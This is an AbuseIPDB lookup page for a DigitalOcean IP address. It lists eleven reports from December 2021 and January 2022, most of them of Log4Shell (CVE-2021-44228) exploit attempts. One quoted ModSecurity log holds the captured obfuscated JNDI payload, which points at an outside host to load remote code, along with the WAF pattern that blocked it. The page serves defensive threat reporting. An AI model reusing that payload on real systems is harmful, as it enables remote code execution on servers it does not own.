AbuseIPDB » 167.99.49.92

167.99.49.92 was found in our database!

This IP was reported 11 times. Confidence of Abuse is 0%: ?

0%

ISP	DigitalOcean LLC
Usage Type	Data Center/Web Hosting/Transit
Domain Name	digitalocean.com
Country	United States of America
City	Clifton, New Jersey

IP info including ISP, Usage Type, and Location provided by IP2Location. Updated monthly.

Report 167.99.49.92

Whois 167.99.49.92

IP Abuse Reports for 167.99.49.92:

This IP address has been reported a total of 11 times from 11 distinct sources. 167.99.49.92 was first reported on December 16th 2021, and the most recent report was 5 months ago.

Old Reports: The most recent abuse report for this IP address is from 5 months ago. It is possible that this IP is no longer involved in abusive activities.

Reporter	Date	Comment	Categories
PT	26 Jan 2022	Log4j (log4shell) RCE attack attempt: CVE-2021-44228	Hacking Web App Attack
tjs	22 Dec 2021	CVE-2021-44228	Hacking
ozisp.com.au	21 Dec 2021	US_DigitalOcean,_<177>1640138659 [1:2034650:1] ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE-20 ... show moreUS_DigitalOcean,_<177>1640138659 [1:2034650:1] ET EXPLOIT Apache log4j RCE Attempt (tcp rmi) (CVE-2021-44228) [Classification: Attempted Administrator Privilege Gain] [Priority: 1]: <seconione-ens192-1> {TCP} 167.99.49.92:52650 show less	Hacking
4server	21 Dec 2021	[WedDec2200:58:30.9624452021][:error][pid4192:tid47046444840704][client167.99.49.92:50612][client167 ... show more[WedDec2200:58:30.9624452021][:error][pid4192:tid47046444840704][client167.99.49.92:50612][client167.99.49.92]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\\\\\\\\\${[\\\\\\\\w\${}\\\\\\\\-:]\*j[\\\\\\\\w\${}\\\\\\\\-:]\*n[\\\\\\\\w\${}\\\\\\\\-:]\*d[\\\\\\\\w\${}\\\\\\\\-:]\*i[\\\\\\\\w\${}\\\\\\\\-:]\*:.\*}\"atREQUEST_HEADERS:User-Agent.[file\"/etc/apache2/conf.d/modsec_rules/99_asl_jitp.conf\"][line\"5932\"][id\"345117\"][rev\"2\"][msg\"Atomicorp.comWAFRules-VirtualJustInTimePatch:log4jCVE-2021-44228broadscopeobfuscatedattackblocked\"][severity\"CRITICAL\"][hostname\"lorinhomepage.ch\"][uri\"/\"][unique_id\"YcJqJkGZuooJ8ir4re2p7wAAANY\"]\,referer:\${\${::-j}\${::-n}\${::-d}\${::-i}:\${::-r}\${::-m}\${::-i}://51.79.74.227:1389/Binary}[WedDec2200:58:31.2224122021][:error][pid4216:tid47046428030720][client167.99.49.92:50616][client167.99.49.92]ModSecurity:Accessdeniedwithcode403\(phase2\).Patternmatch\"\\\\\\\\\${[\\\\\\\\w\${}\\\\\\\\-:]\*j[\\\\\\\\w\${}\\\\\\\\-:]\*n[\\\\\\\\w\${}\\\\\\\\-:]\ show less	Port Scan Brute-Force Web App Attack
Parth Maniar	21 Dec 2021	This IP carried out Apache Log4j RCE attempt(s) (also known as CVE-2021-44228 or Log4Shell). For mor ... show moreThis IP carried out Apache Log4j RCE attempt(s) (also known as CVE-2021-44228 or Log4Shell). For more information, or to report interesting/incorrect findings, give me a shoutout on @parthmaniar on Twitter. show less	Hacking Web App Attack
backslash	21 Dec 2021	log4j	Bad Web Bot
Anonymous	20 Dec 2021	log4j attack	Web App Attack
user23279	20 Dec 2021	CVE-2021-44228 Log4j RCE	Hacking Web App Attack
syokadmin	19 Dec 2021	(mod_security) mod_security (id:932130) triggered by 167.99.49.92 (US/United States/-): 1 in the las ... show more(mod_security) mod_security (id:932130) triggered by 167.99.49.92 (US/United States/-): 1 in the last 3600 secs show less	Brute-Force
Daniel Tlamka	16 Dec 2021	Log4j-exploit	Exploited Host Web App Attack
RoboSOC	16 Dec 2021	Apache Log4j Remote Code Execution Vulnerability, PTR: PTR record not found	Hacking

Is this your IP? You may request to takedown any associated reports. We will attempt to verify your ownership. Request Takedown 🚩